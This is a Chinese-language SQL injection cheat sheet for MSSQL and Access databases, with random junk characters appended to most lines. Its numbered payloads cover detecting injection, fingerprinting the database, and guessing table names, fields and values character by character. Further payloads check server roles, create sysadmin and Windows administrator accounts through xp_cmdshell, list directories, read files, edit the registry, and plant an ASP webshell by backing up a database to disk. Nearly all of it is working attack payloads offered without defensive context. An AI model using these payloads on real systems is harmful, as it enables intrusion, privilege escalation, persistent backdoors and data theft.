1.判断是否有注入;and 1=1 ;and 1=2 zrrz<dW
2.初步判断是否是mssql ;and user>0 (etUEb^}T
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3.注入参数是字符'and [查询条件] and ''=' JA<~xo[Q9
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4.搜索时没过滤参数的'and [查询条件] and '%25'='
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5.判断数据库系统 KSc~GP_
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;and (select count(*) from sysobjects)>0 mssql @ u+|=x];
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;and (select count(*) from msysobjects)>0 access )!eEO [\d
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6.猜数据库 ;and (select Count(*) from [数据库名])>0 LJWTSf"f?
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7.猜字段 ;and (select Count(字段名) from 数据库名)>0 frc{>u~t
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8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0 E5gl ^Q?Z
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9.(1)猜字段的ascii值(access) "Hht
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;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0 jn$j^51`C
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(2)猜字段的ascii值(mssql) n'?4.tb
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;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0 pDOM:lGya
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10.测试权限结构(mssql) hO6RQ0Iv@
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;and 1=(select IS_SRVROLEMEMBER('sysadmin'));-- 1"O&40l
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;and 1=(select IS_SRVROLEMEMBER('serveradmin'));-- 3D[=b%2\
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;and 1=(select IS_SRVROLEMEMBER('setupadmin'));-- >jMH#TZaX
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;and 1=(select IS_SRVROLEMEMBER('securityadmin'));-- #V[SQ=>x[
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;and 1=(select IS_SRVROLEMEMBER('diskadmin'));-- uoCGSXsi
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;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));-- Fg=v6j4W
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;and 1=(select IS_MEMBER('db_owner'));-- /UHp [yod
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11.添加mssql和系统的帐户 t#5:\U5r.
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;exec master.dbo.sp_addlogin username;-- y9!:^kDI
;exec master.dbo.sp_password null,username,password;-- M"(6&M=?
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;exec master.dbo.sp_addsrvrolemember sysadmin username;-- uNbIX:L,
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;exec master.dbo.xp_cmdshell 'net user username password -!TcQzHUs
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/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';-- .&iN(Bd
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;exec master.dbo.xp_cmdshell 'net user username password /add';-- F7T E|LZ
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;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';-- KO&:06V{
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12.(1)遍历目录 P}@*Z>j:#
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;create table dirs(paths varchar(100), id int) =dGKF`tR
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;insert dirs exec master.dbo.xp_dirtree 'c:\' WNF9#oN|oT
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;and (select top 1 paths from dirs)>0 lKWr=k~
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;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>) $<OhGk-
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(2)遍历目录 E[?kGR[
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;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));-- T3z(k
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;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器 ET-Vm >]
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;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表 jczq`yW
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;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构 o56kp3b)b
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;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容 I4ilR$jg
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13.mssql中的存储过程 zfjw;sUX
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xp_regenumvalues 注册表根键, 子键 >a=d;
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;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值 C[YnrI!
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xp_regread 根键,子键,键值名 T//S,
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;exec xp_regread e{C6by"j{S
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'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值 2Va4i7"X\
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xp_regwrite 根键,子键, 值名, 值类型, 值 Dp^/gL=
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;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表 ce' TYkPM
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xp_regdeletevalue 根键,子键,值名 lIh[|]
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exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值 "H1:0p
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xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值 kG^dqqn6
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14.mssql的backup创建webshell #C\4/g?=,
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use model >Z\BfH
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create table cmd(str image); /2@["*^$
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insert into cmd(str) values (''); %-j&e44
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backup database model to disk='c:\l.asp'; I/B1qw;MN
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15.mssql内置函数 Zq*eX\#C
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;and (select @@version)>0 获得Windows的版本号 A1A3~9HuK
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;and user_name()='dbo' 判断当前系统的连接用户是不是sa .7Kk2Y
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;and (select user_name())>0 爆当前系统的连接用户 E*|tOj9`1n
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;and (select db_name())>0 得到当前连接的数据库 jTSOnF}C~+
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16.简洁的webshell Kx6y"
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use model n}J^6:1
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create table cmd(str image); [xdj6W
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insert into cmd(str) values (''); HXks_ix )
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backup database model to disk='g:\wwwtest\l.asp';